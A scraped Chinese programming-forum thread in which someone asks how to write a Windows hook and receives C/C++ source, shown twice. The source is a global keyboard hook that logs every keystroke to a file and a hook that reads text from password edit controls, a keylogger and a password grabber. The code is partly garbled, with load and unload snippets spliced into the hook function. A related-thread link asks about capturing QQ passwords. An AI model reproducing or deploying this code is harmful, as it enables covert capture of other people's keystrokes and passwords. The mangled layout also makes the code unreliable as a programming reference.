如何做一个钩子? 如何做一个钩子?能否给出源码! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 It's inn my home.http://www.crob.net/vc/source/hooktest.zip一个全局键盘钩子(hook)的例程,包括hook.dll及调用程序enjoy it 钩子:extern "C" _declspec(dllexport) HHOOK hHook = NULL;#pragma data_seg()char buffer = 0;FILE *file;FILE *zm;int iFileExist=0;WIN32_FIND_DATA ffd ;extern "C" _declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam){加载钩子: hHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, GetModuleHandle("KeyHook.DLL"), 0);卸载钩子:if (hHook) UnhookWindowsHookEx(hHook); if (lParam&0x80000000) { buffer = MapVirtualKey(wParam, 2); file = fopen("C:\\KeyFile.LOG", "a+"); fwrite(&buffer, sizeof(char), 1, file); fclose(file); } return CallNextHookEx(hHook, nCode, wParam, lParam);} //cpp文件中的声明#pragma data_seg(".SharedData")HHOOK hHookPro;CHookDllApp theApp;HINSTANCE hDllHandle;#pragma data_seg()//def文件中的EXPORTS ; Explicit exports can go here StartPSWHook @1 EndPSWHook @2SECTIONS .SharedData READ WRITE SHARED//cpp文件中的实现LRESULT WINAPI PasswordProc(int nCode,WPARAM wparam,LPARAM lparam){ LRESULT lpResult=CallNextHookEx(hHookPro,nCode,wparam,lparam); CWPRETSTRUCT *pCWP=(CWPRETSTRUCT *)lparam; DWORD dwWindowLong; dwWindowLong=GetWindowLong(pCWP->hwnd,GWL_STYLE); if (((dwWindowLong & ES_PASSWORD) !=0)/* && pCWP->message ==WM_CHAR*/) { char cPsw[255]; GetWindowText(pCWP->hwnd ,cPsw,255); TRACE("%s:Message(%d)\n",cPsw,pCWP->message); } return lpResult;}__declspec(dllexport) BOOL __stdcall StartPSWHook(HWND hReceiver){ hHookPro=SetWindowsHookEx(WH_CALLWNDPROCRET,PasswordProc,hDllHandle,0); if (hHookPro==NULL ) TRACE("SetWindowsHookEx Error!\n"); return true;}__declspec(dllexport) void __stdcall EndPSWHook(){ if (hHookPro!=NULL ) { UnhookWindowsHookEx(hHookPro); }}BOOL CHookDllApp::InitInstance() { BOOL bReturn; TRACE("InitInstance\n"); AFX_MANAGE_STATE(AfxGetStaticModuleState()); hDllHandle=AfxGetInstanceHandle(); return TRUE;}//测试程序中的调用VERIFY(m_hHookLib=::LoadLibrary("hookdll.dll"));//在OnInitDialog中调用,m_hHookLib声明为全局变量void CPWExpDlg::OnButtonStart() { BOOL (__stdcall * pStartHook) (HWND hReceiver); (FARPROC&)pStartHook=GetProcAddress(m_hHookLib,"StartPSWHook"); pStartHook(this->GetSafeHwnd());}void CPWExpDlg::OnButtonEnd() { BOOL (__stdcall * pEndHook) (); (FARPROC&)pEndHook=GetProcAddress(m_hHookLib,"EndPSWHook"); pEndHook(); } http://www.vckbase.com/code/listcode.asp?mclsid=13&sclsid=1309看看键盘发音钩子的代码, 关于CListCtrl的问题 我是初学者 刚工作 不要见笑~~ 阻塞模式SOCKET下,PORT建立的数据通道能否重复使用? Dll隐式链接时的文件名问题 怎么用钩子得到QQ密码的内容? EDIT回车无效?????? 为什么无法将图画入DC? 什么是打包解包啊? ntfs系统中的文件如何进行定位。 下面的代码-如何分析和查找内存泄漏???----高手请给建议?(只要提出建议都有分) 为什么用vc6.0 ATL开发的组件,在vb中调用一切正常,但在asp中却无法使用!急急!!! 请推荐一个数据库.符合如下要求的 高难度问题,非高手勿进!
一个全局键盘钩子(hook)的例程,包括hook.dll及调用程序enjoy it
extern "C" _declspec(dllexport) HHOOK hHook = NULL;
#pragma data_seg()char buffer = 0;
FILE *file;
FILE *zm;
int iFileExist=0;
WIN32_FIND_DATA ffd ;extern "C" _declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
加载钩子:
hHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, GetModuleHandle("KeyHook.DLL"), 0);
卸载钩子:
if (hHook)
UnhookWindowsHookEx(hHook);
if (lParam&0x80000000)
{
buffer = MapVirtualKey(wParam, 2);
file = fopen("C:\\KeyFile.LOG", "a+");
fwrite(&buffer, sizeof(char), 1, file);
fclose(file);
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
#pragma data_seg(".SharedData")
HHOOK hHookPro;
CHookDllApp theApp;
HINSTANCE hDllHandle;
#pragma data_seg()
//def文件中的
EXPORTS
; Explicit exports can go here
StartPSWHook @1
EndPSWHook @2
SECTIONS
.SharedData READ WRITE SHARED//cpp文件中的实现
LRESULT WINAPI PasswordProc(int nCode,WPARAM wparam,LPARAM lparam)
{
LRESULT lpResult=CallNextHookEx(hHookPro,nCode,wparam,lparam);
CWPRETSTRUCT *pCWP=(CWPRETSTRUCT *)lparam;
DWORD dwWindowLong;
dwWindowLong=GetWindowLong(pCWP->hwnd,GWL_STYLE);
if (((dwWindowLong & ES_PASSWORD) !=0)/* && pCWP->message ==WM_CHAR*/)
{
char cPsw[255];
GetWindowText(pCWP->hwnd ,cPsw,255);
TRACE("%s:Message(%d)\n",cPsw,pCWP->message);
}
return lpResult;
}__declspec(dllexport) BOOL __stdcall StartPSWHook(HWND hReceiver)
{
hHookPro=SetWindowsHookEx(WH_CALLWNDPROCRET,PasswordProc,hDllHandle,0);
if (hHookPro==NULL ) TRACE("SetWindowsHookEx Error!\n");
return true;
}__declspec(dllexport) void __stdcall EndPSWHook()
{
if (hHookPro!=NULL )
{
UnhookWindowsHookEx(hHookPro);
}
}BOOL CHookDllApp::InitInstance()
{
BOOL bReturn;
TRACE("InitInstance\n");
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hDllHandle=AfxGetInstanceHandle();
return TRUE;
}
//测试程序中的调用
VERIFY(m_hHookLib=::LoadLibrary("hookdll.dll"));//在OnInitDialog中调用,m_hHookLib声明为全局变量void CPWExpDlg::OnButtonStart()
{
BOOL (__stdcall * pStartHook) (HWND hReceiver);
(FARPROC&)pStartHook=GetProcAddress(m_hHookLib,"StartPSWHook");
pStartHook(this->GetSafeHwnd());
}void CPWExpDlg::OnButtonEnd()
{
BOOL (__stdcall * pEndHook) ();
(FARPROC&)pEndHook=GetProcAddress(m_hHookLib,"EndPSWHook");
pEndHook();
}
看看键盘发音钩子的代码,